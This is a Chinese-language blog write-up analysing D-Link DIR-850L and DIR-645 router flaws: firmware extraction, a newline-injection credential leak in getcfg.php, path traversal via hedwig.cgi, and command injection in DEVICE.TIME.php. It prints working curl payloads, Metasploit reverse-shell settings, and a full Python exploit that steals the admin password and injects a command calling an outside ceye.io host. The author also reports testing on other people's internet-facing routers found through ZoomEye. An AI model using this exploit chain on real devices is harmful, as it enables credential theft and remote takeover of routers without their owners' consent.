这是参加某次面试的笔试题,要求分析D-Link 850L&645路由漏洞。分析过程中还是学了不少东西,面试官也很Nice,对于我不懂的知识,都能一一做个解释。由于逆向能力不足,很多东西还是不能深入,希望以后能够弥补不足。以下是我的分析文章:
D-Link 850L 固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/
将下载下来的 DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP 解压,并使用命令 binwalk -Me DIR850LA1_FW114b07WW.bin 对解压出来的二进制文件进行固件提取。从提取过程的信息中可以看出该路由器使用的是 Squashfs 系统。
在提取出来的文件中,存在 190090.squashfs 文件,我们继续使用 binwalk -Me 命令提取该文件。当然,我们也可以使用 unsquashfs 190090.squashfs 命令来提取文件。最终我们需要的文件在 squashfs-root/htdocs/ 路径下。
D-Link 645 固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
这个如果使用 apt install 安装的 binwalk 会少很多东西,无法成功提取固件,解决方法如下:
$ sudo apt-get update
$ sudo apt-get install build-essential autoconf git
# https://github.com/devttys0/binwalk/blob/master/INSTALL.md
$ git clone https://github.com/devttys0/binwalk.git
$ cd binwalk
# python2.7安装
$ sudo python setup.py install
# python2.7手动安装依赖库
$ sudo apt-get install python-lzma
$ sudo apt-get install python-crypto
$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
$ sudo pip install pyqtgraph
$ sudo apt-get install python-pip
$ sudo pip install capstone
# Install standard extraction utilities(必选)
$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
# Install sasquatch to extract non-standard SquashFS images(必选)
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ (cd sasquatch && ./build.sh)
# Install jefferson to extract JFFS2 file systems(可选)
$ sudo pip install cstruct
$ git clone https://github.com/sviehb/jefferson
$ (cd jefferson && sudo python setup.py install)
# Install ubi_reader to extract UBIFS file systems(可选)
$ sudo apt-get install liblzo2-dev python-lzo
$ git clone https://github.com/jrspruitt/ubi_reader
$ (cd ubi_reader && sudo python setup.py install)
# Install yaffshiv to extract YAFFS file systems(可选)
$ git clone https://github.com/devttys0/yaffshiv
$ (cd yaffshiv && sudo python setup.py install)
# Install unstuff (closed source) to extract StuffIt archive files(可选)
$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
$ sudo cp bin/unstuff /usr/local/bin/
安装好后,直接使用 binwalk -Me 命令即可提取固件内容。
该漏洞文件的位置为:htdocs/web/getcfg.php 具体代码如下:
可以发现上图代码 第25-27行 代码,要读取的文件名中存在可控变量 $GETCFG_SVC ,而且该变量从 $_POST["SERVICES"] 中获取后,没有任何过滤操作。那么要想利用这个漏洞,我们就要让 第16行 的 is_power_user 函数返回1。 is_power_user 函数的功能是用来判断用户权限的,当 $_GLOBALS["AUTHORIZED_GROUP"] 的值大于等于0时, is_power_user 函数才会返回1。这里的 $_GLOBALS 数组并不是 PHP 的原生数组,而是在 cgibin 文件中定义的,所以我们需要逆一下 cgibin 文件的代码。
观察逆出来的 main 函数,发现程序开头对请求的不同文件名分别进行处理,我们找到 phpcgi_main 函数并跟进。
在 phpcgi_main 函数中,可以看到程序将不同的请求头经过处理后,传给了PHP。在下图 第26-30行 代码中,将经过 sess_validate 验证的数据,赋值给 AUTHORIZED_GROUP ,然后再作为全局数组 $_GLOBALS 传递给PHP程序使用。第30行 代码可以看到,以 \n 分隔储存在字符串中,所以用户可以通过注入带有 \n 字符的恶意 payload 来伪造 $_GLOBALS["AUTHORIZED_GROUP"] 的值。
我们构造如下 payload ,可以发现可以成功加载 htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php 文件并获得账号密码等敏感信息:
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://VictimIp:8080/getcfg.php"
要完成这一攻击,需要结合以下两种漏洞利用方式:
当管理员接口的配置信息发生改变时,变化的配置信息会以 xml 的数据格式发送给 hedwig.cgi ,由 hedwig.cgi 重载并应用这些配置信息,而在接受这个数据前,程序并没有对用户身份进行判断,导致非管理员用户也可向 hedwig.cgi 发送XML数据。在接收 XML 数据的过程中, hedwig.cgi 会调用 htdocs/webinc/fatlady.php 文件验证数据合法性。这个我们从 hedwig.cgi 的反汇编代码中就可以看出:
htdocs/webinc/fatlady.php 文件代码如下,可以看到 第13行 处,将 service 结点的值赋值给 $service 。然后没有经过任何处理,拼接后的字符串再赋值给 $target ,最后在 第19行 加载。
在获取到管理员账号密码之后,我们登录路由器管理面板,以管理员身份对 etc/services/DEVICE.TIME.php 文件进一步利用,我们先来看一下这个文件的代码。
可以很明显的看到,上图 第28行 处直接将从 XML 获取的 $server 变量拼接在脚本中,这也就形成了命令注入。
首先通过上传构造好的XML文件,读取存放用户信息的 DEVICE.ACCOUNT.xml.php 文件:
curl -d '<?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>' -b "uid=demo" -H "Content-Type: text/xml" "http://VictimIp:8080/hedwig.cgi"
接着我们需要使用管理员的身份,对 etc/services/DEVICE.TIME.php 文件的 $server 变量进行注入即可。在 metasploit 中已经集成好了反弹 shell 的攻击程序( dlink_dir850l_unauth_exec.rb ),在 msfconsole 中运行以下命令:
use exploit/linux/http/dlink_dir850l_unauth_exec
set RHOST VictimIp
set RPORT 8080
set LHOST AttackerIpset LPORT 9999
D-Link 850L 路由器以 root权限 运行 dnsmasq 守护进程,而这个进程会将从 DHCP 服务器获取 host-name ,并用在命令中执行。那么攻击者要想利用这一漏洞,就必须在同一局域网中,将 DHCP 服务器的名字设置成带有恶意 payload 的字符串即可。
通过对比 D-Link 645 和 D-Link 850L 的 htdocs/web/getcfg.php 文件,发现代码完全是一样的,所以 D-Link 645 同样也存在远程敏感信息读取漏洞。
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://VictimIp:8080/getcfg.php"
同样,通过对比两个不同版本路由器的 htdocs/webinc/fatlady.php 文件和 etc/services/DEVICE.TIME.php 文件,发现基本一致。
我们可以修改已经公布的EXP结合 ceye.io 平台,来确认目标机器是否有成功执行命令。EXP程序如下:
#!/usr/bin/env python3
# pylint: disable=C0103
#
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests
try:
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
pass
TARGET = sys.argv[1]
session = requests.Session()
session.verify = False
############################################################
print("Get password...")
headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)
# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
# : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]
admin_pasw = ""
tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
name = acc.findtext("name", "")
pasw = acc.findtext("password", "")
print("name:", name)
print("pass:", pasw)
if name == "Admin":
admin_pasw = pasw
if not admin_pasw:
print("Admin password not found!")
sys.exit()
############################################################
print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("uid:", resp["uid"])
print("challenge:", resp["challenge"])
session.cookies.update({"uid": resp["uid"]})
print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw
data = {
"id": user_name,
"password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################
data = {"SERVICES": "DEVICE.TIME"}
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; (" + "ping `hostname`.xxx.ceye.io" + ") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"
############################################################
print("hedwig")
headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################
print("pigwidgeon")
data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
在上面的分析中,由于手头没有真实设备,所有漏洞验证均通过互联网上的设备进行验证。通过 https://www.zoomeye.org/searchResult?q=DIR-850L 可以搜索到很多这类设备,即使过了1年多,漏洞影响还是蛮大的。
遇到的问题 :
在win7下运行最新版jeb需要 MSVCR100.DLL 。
反编译MIPS代码,可以使用两种工具: IDA的Retdec插件 和 JEB Decompiler for MIPS 。本次分析中,我使用的是 JEB Decompiler for MIPS ,由于没接触过逆向, JEB 反汇编出来的代码只能看个大概。在 JEB 试用版中禁止复制反汇编后的代码,但是可以直接用 Ctrl+X 剪切来复制代码。试用版中,有些代码需要购买正版才能完全反汇编。关于这两个工具的更多使用,可以参考以下几篇文章:
Retdec 能反mips 源码的IDA插件了解一下:https://bbs.pediy.com/thread-227079.htm
java应用破解之破解 jeb mips 2.3.3:https://bbs.pediy.com/thread-222503.htm
看了很多分析文章中,没有提及为什么在远程敏感信息获取的 payload 中要有一个 %0a 。解决这个问题,还是要看cgibin反汇编后的代码才好理解。其实就是上面分析中的 \n ,\n 对应ASCII码为10,转成url编码就是 %0a 。
有很多PHP函数是无法搜索到定义的,估计是写在拓展插件中了。如果要查看其定义,可能要再逆一下 .so 文件,这里我并没有继续逆 .so 文件。
在测试 fatlady.php 文件的任意文件读取时,我的POC无法攻击成功。后来根据网络上的攻击POC,抓取其发送的数据包对比修正后,可以攻击成功。主要问题是 Cookie 少了 uid 字段,而且 Content-Type 要设计成 text/xml 。
在复现 D-Link 645 的 通过LAN、WLAN的远程命令执行 漏洞时,直接使用 MSF 的 dlink_dir850l_unauth_exec 攻击程序,并不能收到反弹回来的 shell ,估计是 shellcode 不适配,这里我就使用 ceye.io 平台先测试目标是否执行了命令。
AttifyOS1.3 是一个专门用于测试 IOT 设备的系统,默认账号密码是:oit
: attify123
。本来想用这个系统搭建路由环境,还原一下D-Link 850L 的 LAN下的命令执行 漏洞,但是没成功。
D-link 10个0Day漏洞分析(附细节)
SSD Advisory – D-Link 850L Multiple Vulnerabilities (Hack2Win Contest)
D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告
D-Link-Dir-850L-远程命令执行漏洞
D-Link DIR-850L 路由器漏洞验证报告
D-Link系列路由器漏洞挖掘入门
D-Link DIR 系列路由器信息泄露与远程命令执行漏洞
逆向路由器固件之动态调试
关于D-Link DIR 8xx漏洞分析